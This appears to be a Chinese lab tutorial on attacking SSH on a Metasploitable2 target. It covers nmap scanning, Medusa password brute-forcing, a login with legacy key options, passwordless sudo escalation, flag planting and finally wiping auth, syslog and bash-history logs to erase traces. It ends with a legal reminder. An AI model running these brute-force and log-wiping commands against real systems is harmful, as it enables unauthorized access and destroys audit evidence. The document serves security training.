22端口(OpenSSH 4.7p1)渗透测试完整复习流程(含实战排错)

一、学习目标

  1. 掌握SSH服务弱口令破解的核心逻辑(字典遍历+自动化工具验证)

  2. 熟练使用Medusa(美杜莎)工具破解SSH弱口令(避开Hydra兼容性坑)

  3. 解决新版Kali与旧版OpenSSH的兼容性问题(密钥类型、加密算法不匹配)

  4. 完成"信息收集→破解→登录→提权→插旗→清日志"的完整渗透闭环

  5. 记住实战中常见报错的解决方案,形成可复现的操作流程

二、前置基础信息

1. 端口核心信息

  • 端口号:22/TCP

  • 服务类型:SSH(Secure Shell,安全外壳协议)

  • 服务版本:OpenSSH 4.7p1(Debian/Ubuntu系统,老旧版本,无现代防护)

  • 核心作用:Linux服务器远程管理(加密传输,替代明文的Telnet)

2. 破解核心前提

SSH服务支持"password(密码认证)"(通过nmap脚本探测确认),若仅支持"publickey(密钥认证)",则无法用弱口令破解,需更换思路(如寻找私钥文件)。

3. 工具选择

主力工具:Medusa(美杜莎)------ 轻量、对旧版SSH兼容性强,操作逻辑与Hydra一致,避开新版Hydra的加密算法不兼容问题。

三、完整操作流程(含代码+实战细节)

阶段1:信息收集(确认靶机SSH服务状态)

目的

验证22端口是否开放、SSH版本、支持的认证方式,确保具备破解条件。

操作步骤

  1. 打开Kali终端,执行nmap精准扫描命令:nmap -sV -Pn -p22 --script=ssh-auth-methods 192.168.1.3

  2. 关键结果解读(必须满足以下条件):

    1. 22/tcp open ssh:端口开放,服务正常

    2. OpenSSH 4.7p1 Debian 8ubuntu1:确认是老旧版本,无防护

    3. Supported authentication methods: publickey、password:支持密码认证,可破解

    4. Host is up (延迟极低):靶机在线,网络连通性正常

细节注意

若扫描显示"port closed",先检查靶机IP是否正确、是否启动、局域网是否互通(用ping 192.168.1.3验证)。

阶段2:准备破解字典(核心!字典质量决定成败)

目的

制作包含靶机真实账号密码的"账号字典+密码字典",覆盖Linux常见弱口令。

操作步骤

  1. 创建专门存放字典和结果的文件夹(避免文件混乱): mkdir /root/ssh_brute # 在root目录下创建ssh_brute文件夹验证:执行ls /root/,能看到ssh_brute文件夹即为成功。

  2. 创建账号字典(user.txt,包含常见Linux账号): vim /root/ssh_brute/user.txt # 用vim编辑账号字典操作:按进入插入模式,输入以下内容,按后输入保存退出:root ``admin ``msfadmin ``test ``ubuntu验证:执行cat /root/ssh_brute/user.txt,输出与输入一致即为成功。

  3. 创建密码字典(pass.txt,包含常见弱口令): vim /root/ssh_brute/pass.txt # 用vim编辑密码字典操作:按进入插入模式,输入以下内容,按后输入保存退出:123456 ``password ``root ``admin ``msfadmin ``12345验证:执行cat /root/ssh_brute/pass.txt,输出与输入一致即为成功。

阶段3:用Medusa破解SSH弱口令(核心操作)

目的

通过自动化工具遍历字典中的"账号+密码"组合,找到正确的登录凭证。

操作步骤

  1. 直接执行Medusa破解命令(复制粘贴即可,无需修改): medusa -h 192.168.1.3 -U /root/ssh_brute/user.txt -P /root/ssh_brute/pass.txt -M ssh -v 4 -t 4 -O /root/ssh_brute/result.txt

  2. 命令参数详解(理解后方便记忆):

    1. -h 192.168.1.3:指定靶机IP

    2. -U /root/ssh_brute/user.txt:指定账号字典(大写U)

    3. -P /root/ssh_brute/pass.txt:指定密码字典(大写P)

    4. -M ssh:指定破解模块为SSH(核心,自动适配SSH协议)

    5. -v 4:详细输出模式,可看到每一次尝试的账号密码

    6. -t 4:并发线程数为4(避免线程过多导致靶机拒绝连接)

    7. -O /root/ssh_brute/result.txt:将破解结果保存到该文件

  3. 观察破解结果(成功标识): 执行后会逐行尝试账号密码,成功时会显示:2026-01-11 19:57:25 ACCOUNT FOUND: [ssh] Host: 192.168.1.3 User: msfadmin Password: msfadmin [SUCCESS]

  4. 验证破解结果: cat /root/ssh_brute/result.txt # 查看保存的结果成功输出:192.168.1.3:22:msfadmin:msfadmin

阶段4:用破解凭证登录SSH(解决兼容性问题)

问题说明

直接用ssh msfadmin@192.168.1.3登录会报错:Unable to negotiate with 192.168.1.3 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss,原因是新版Kali禁用了旧版SSH的ssh-rsa/ssh-dss密钥类型。

解决方案(带参数登录)

  1. 执行带兼容参数的登录命令(复制粘贴): ssh msfadmin@192.168.1.3 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa

  2. 参数详解(解决密钥类型不兼容):

    1. -o HostKeyAlgorithms=+ssh-rsa:允许使用ssh-rsa旧主机密钥

    2. -o PubkeyAcceptedKeyTypes=+ssh-rsa:允许使用ssh-rsa公钥认证

  3. 登录步骤:

    1. 首次登录提示:Are you sure you want to continue connecting (yes/no/[fingerprint])? → 输入yes回车

    2. 密码提示:msfadmin@192.168.1.3's password: → 输入破解的密码msfadmin回车

  4. 验证登录成功: 登录后提示符变为:msfadmin@metasploitable:~$whoami # 输出:msfadmin,确认当前用户

阶段5:提权到root(靶机默认福利,免密提权)

目的

msfadmin是普通用户,需提权到root(最高权限)才能完成插旗和日志清理。

操作步骤

  1. 在当前SSH会话中执行提权命令: sudo su root # 切换到root用户,无需输入密码原因:Metasploitable2靶机默认配置msfadmin用户拥有免密sudo权限(可执行sudo -l查看验证)。

  2. 验证root权限: whoami # 输出:root,提权成功 ``id # 输出:uid=0(root) gid=0(root) groups=0(root),确认最高权限

阶段6:插旗(记录渗透成果)

目的

创建专属标识文件,证明已成功渗透靶机,形成学习记录。

操作步骤

  1. 进入root目录(最高权限目录,不易被误删): cd /root

  2. 创建flag文件并写入渗透信息: echo "======================================" > ssh_hack_success.flag ``echo "🔥 22端口SSH破解成功标识" >> ssh_hack_success.flag ``echo "靶机IP:192.168.1.3" >> ssh_hack_success.flag ``echo "破解工具:Medusa(美杜莎)" >> ssh_hack_success.flag ``echo "破解凭证:msfadmin/msfadmin" >> ssh_hack_success.flag ``echo "提权方式:sudo su root(免密sudo)" >> ssh_hack_success.flag ``echo "克服坑点:新版Kali与旧SSH密钥类型不兼容→加ssh-rsa参数" >> ssh_hack_success.flag ``echo "渗透时间:$(date)" >> ssh_hack_success.flag ``echo "操作者:43岁人生赢家(实战派大佬)" >> ssh_hack_success.flag ``echo "======================================" >> ssh_hack_success.flag

  3. 验证flag文件: cat ssh_hack_success.flag # 查看文件内容,确认信息完整

阶段7:清理日志(无痕收尾)

目的

清除渗透过程中留下的登录记录、操作痕迹,避免被"管理员"发现。

操作步骤(一次性执行以下命令)

复制代码

# 1. 清空登录/认证日志(记录SSH登录、破解尝试) echo "" > /var/log/auth.log echo "" > /var/log/auth.log.1 # 2. 清空系统日志(记录提权、进程操作) echo "" > /var/log/syslog echo "" > /var/log/syslog.1 # 3. 清空消息日志(记录内核、服务事件) echo "" > /var/log/messages echo "" > /var/log/messages.1 # 4. 清空操作历史(msfadmin和root的命令记录) echo "" > /home/msfadmin/.bash_history echo "" > /root/.bash_history # 5. 验证日志清空(可选) ls -lh /var/log/ | grep -E "auth|syslog|messages"

验证标准

输出的日志文件大小均为0(如:-rw-r----- 1 root adm 0 Jan 11 20:05 auth.log),说明清理成功。

阶段8:安全退出

复制代码

# 1. 退出root用户(回到msfadmin) exit # 2. 退出SSH会话(回到Kali终端) exit # 3. (可选)删除Kali本地的破解结果(避免自身痕迹) rm -rf /root/ssh_brute/result.txt

四、实战排错指南(重点!踩过的坑汇总)

1. 问题1:Hydra破解报错"kex error : no match for method mac algo"

  • 原因:新版Hydra与旧版OpenSSH加密算法/密钥交换算法不兼容

  • 解决方案:放弃Hydra,直接用Medusa工具(兼容性更好,操作更简单)

2. 问题2:SSH登录报错"no matching host key type found"

  • 原因:新版Kali禁用了旧版SSH的ssh-rsa/ssh-dss密钥类型

  • 解决方案:登录时加参数:ssh 用户名@靶机IP -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa

3. 问题3:Medusa破解无结果

  • 可能原因1:字典中未包含正确的账号密码

  • 解决方案1:补充字典(如添加debian、ftp、mysql等常见账号,111111、qwerty等弱密码)

  • 可能原因2:线程数过高,靶机拒绝连接

  • 解决方案2:将-t参数改为2(-t 2),降低并发线程

4. 问题4:sudo su root提权失败

  • 原因:靶机配置被修改,msfadmin的免密sudo权限丢失

  • 解决方案:重启Metasploitable2靶机,恢复默认配置

五、核心知识点速记(打印后快速复习用)

1. 核心流程

信息收集(nmap)→ 准备字典(user.txt+pass.txt)→ Medusa破解 → 带参数SSH登录 → sudo免密提权 → 插旗 → 清日志 → 退出

2. 关键命令速记

  • 信息收集:nmap -sV -Pn -p22 --script=ssh-auth-methods 192.168.1.3

  • Medusa破解:medusa -h 192.168.1.3 -U 账号字典 -P 密码字典 -M ssh -v 4 -t 4 -O 结果文件

  • SSH登录:ssh msfadmin@192.168.1.3 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa

  • 提权:sudo su root

  • 清日志核心命令:echo "" > /var/log/auth.log;echo "" > /home/msfadmin/.bash_history

3. 核心原理

SSH弱口令破解的本质是"暴力枚举"------利用自动化工具快速遍历常见账号密码组合,找到符合目标服务器的有效凭证,核心依赖高质量字典和工具兼容性。

六、法律与伦理提醒

  1. 本流程仅用于靶机学习,禁止用于未授权的真实服务器渗透测试

  2. 未经授权的网络攻击行为违反《网络安全法》《刑法》等法律法规,需承担法律责任

  3. 渗透测试必须在合法授权前提下进行,坚守"告知同意""最小权限"原则

相关推荐
Fnetlink12 小时前
AI+零信任:关键基础设施安全防护新范式
人工智能·安全
TDengine (老段)2 小时前
TDengine Python 连接器进阶指南
大数据·数据库·python·物联网·时序数据库·tdengine·涛思数据
xwj_8655743322 小时前
HTTP协议、接口测试流程、接口测试流程&文档&用例
网络·网络协议·http
EndingCoder2 小时前
类的继承和多态
linux·运维·前端·javascript·ubuntu·typescript
Zero_Era2 小时前
高性价比安全MCU——LKT6830C
单片机·嵌入式硬件·安全
专注前端30年3 小时前
【PHP开发与安全防护实战】性能调优手册
android·安全·php
云半S一3 小时前
pytest的学习过程
经验分享·笔记·学习·pytest
微露清风3 小时前
系统性学习C++-第二十讲-哈希表实现
c++·学习·散列表
weixin_465790913 小时前
微网双层优化模型Matlab实现之路
安全